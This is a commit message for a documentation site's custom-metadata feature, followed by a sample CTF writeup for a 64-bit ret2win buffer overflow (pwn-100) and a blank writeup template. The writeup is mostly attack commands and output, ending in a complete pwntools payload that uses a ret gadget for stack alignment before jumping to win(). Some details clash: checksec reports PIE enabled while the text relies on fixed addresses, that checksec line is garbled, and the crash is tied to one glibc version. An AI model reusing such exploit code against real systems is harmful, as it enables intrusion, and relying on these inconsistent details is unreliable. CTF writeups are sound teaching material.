feat(core): dynamic custom frontmatter fields for CTF writeup metadata
CI / typecheck + build (turbo) (push) Canceled after 0s

- Add extra_fields JSONB column to documents table (migration 0003)
- CreateDocInput/UpdateDocInput: extraFields?: Record<string, string>
- parseFile: extracts non-standard frontmatter keys as extraFields
- stringifyFile: writes extraFields dynamically to YAML frontmatter
- toMeta: spreads extraFields from DB row into DocumentMeta
- DocForm: '+ Add field' UI for content creators to add any metadata
- API routes: splitPayload() separates standard vs custom fields
- Doc page: CustomFieldBadges dynamically renders any custom field
- Add db:migrate / db:push scripts + deploy workflow migration step
- Add CTF writeup template (content/writeups/ctf/template/)
- Add sample DEF CON writeup with event/challenge/category/difficulty/points
- Add @tailwindcss/typography for table rendering (prose classes)
- Add remark-gfm for GitHub Flavored Markdown table parsing

# DEF CON CTF Quals 2024 — pwn-100: ret2win Stack Alignment Fix
## Challenge Info
| Field | Value |
| ------------ | ---------------------- |
| **Event** | DEF CON CTF Quals 2024 |
| **Challenge**| pwn-100 |
| **Category** | pwn |
| **Difficulty**| easy |
| **Points** | 100 |
## Initial Recon
Given a 64-bit ELF binary with a trivial buffer overflow in `vuln()`:
```
$ checksec pwn-100
RELRO STACK canary: No NX: No PIE: Enabled RPATH: No
$ file pwn-100
pwn-100: ELF 64-bit LSB executable, for Linux 3.2.0, not stripped
$ objdump -d pwn-100 | grep -A5 '<vuln>'
```
## Approach
Classic ret2win — overflow the return address to jump to `win()`, which
calls `system("/bin/sh")`. The binary had no canary and no PIE on the
binary itself (function addresses are fixed), but glibc on the host was
2.34+.
## Step-by-Step Solve
### 1. Find the offset
Sent cyclic pattern via `pattern create` + `pattern offset`:
```
$ python3 -c "print(b'A'*40+b'B'*8)" | ./pwn-100
Segmentation fault (core dumped)
$ gdb -q
gef➤ pattern offset 0x4242424242424242
[*] Found possible needle
```
Offset = 40 bytes (to `rip`).
### 2. Find win() address
```
$ objdump -d pwn-100 | grep '<win>'
0000000000401196 <win>:
```
`win()` is at `0x401196`.
### 3. Craft and send the payload
Initial payload was just padding + `win()` address — but this **crashed**
with SIGSEGV inside `win()` → `printf`.
**Root cause:** On glibc 2.34+, the return into a libc-using function
needs **16-byte stack alignment**. A normal `call` pushes 8 bytes, so
`ret`-ing into `win()` leaves `rsp % 16 == 8`. When `printf` inside
`win()` does `movaps` (SSE), it faults on misaligned address.
**Fix:** Insert a `ret` gadget (8 bytes) between padding and `win()`
to realign RSP:
```
$ ROPgadget --binary pwn-100 | grep " ret$"
0x0000000000401016: ret;
```
Final payload:
```python
from pwn import *
p = remote("challenge.url", 1337)
payload = b"A" * 40 + p64(0x401016) + p64(0x401196)
p.sendline(payload)
p.interactive()
```
The `ret` gadget pops the extra 8 bytes, aligning the stack. After that,
`win()` → `printf` → `system("/bin/sh")` works cleanly.
## Flag
```
flag{ret2win_stack_alignment_glibc_2.34}
```
## Summary
- A bare ret2win without stack alignment crashes on glibc 2.34+ inside
the target function's libc calls (SSE `movaps`).
- The fix is a single `ret` gadget between padding and `win()` — **not**
an offset error.
- Always check: if the function IS reached but crashes inside it, think
stack alignment before re-counting bytes.
- Tested on host glibc 2.39 (Ubuntu 24.04) — confirmed the crash+fix.

# CTF Writeup Template
A consistent writeup structure helps reviewers and future-you reproduce the solve.
Below is the recommended template. Delete this intro paragraph and fill each
section.
## Challenge Info
| Field | Value |
| ------------ | -------------------- |
| **Event** | `[Event Name]` |
| **Challenge**| `[Challenge Name]` |
| **Category** | `pwn` / `crypto` / `web` / `rev` / `forensics` / `misc` |
| **Difficulty**| `easy` / `medium` / `hard` |
| **Points** | `[points at start]` |
| **Solves** | `[number]` |
## Initial Recon
What you see when you download the binary/file/URL. File type, basic
inspection (`file`, `strings`, `checksec`, HTTP headers, etc.).
## Approach
Describe the high-level idea — what class of vulnerability or attack this
belongs to.
## Step-by-Step Solve
Walk through each step with commands and output. Include:
- Exact commands you ran
- Key output (truncated if long, but enough to confirm)
- Why each step works
- Tool versions / versions if relevant
### 1. Enumerate
```
$ command-here
output-here
```
### 2. Find the vulnerability
Explain what you found and how it maps to the approach.
### 3. Craft the exploit
Show the exploit script or payload, explain each part.
## Flag
```
flag{...}
```
## Summary
What you learned, what the intended solution was (if yours differed),
and any pitfalls you hit along the way (e.g., "tool X version Y breaks
on Z").
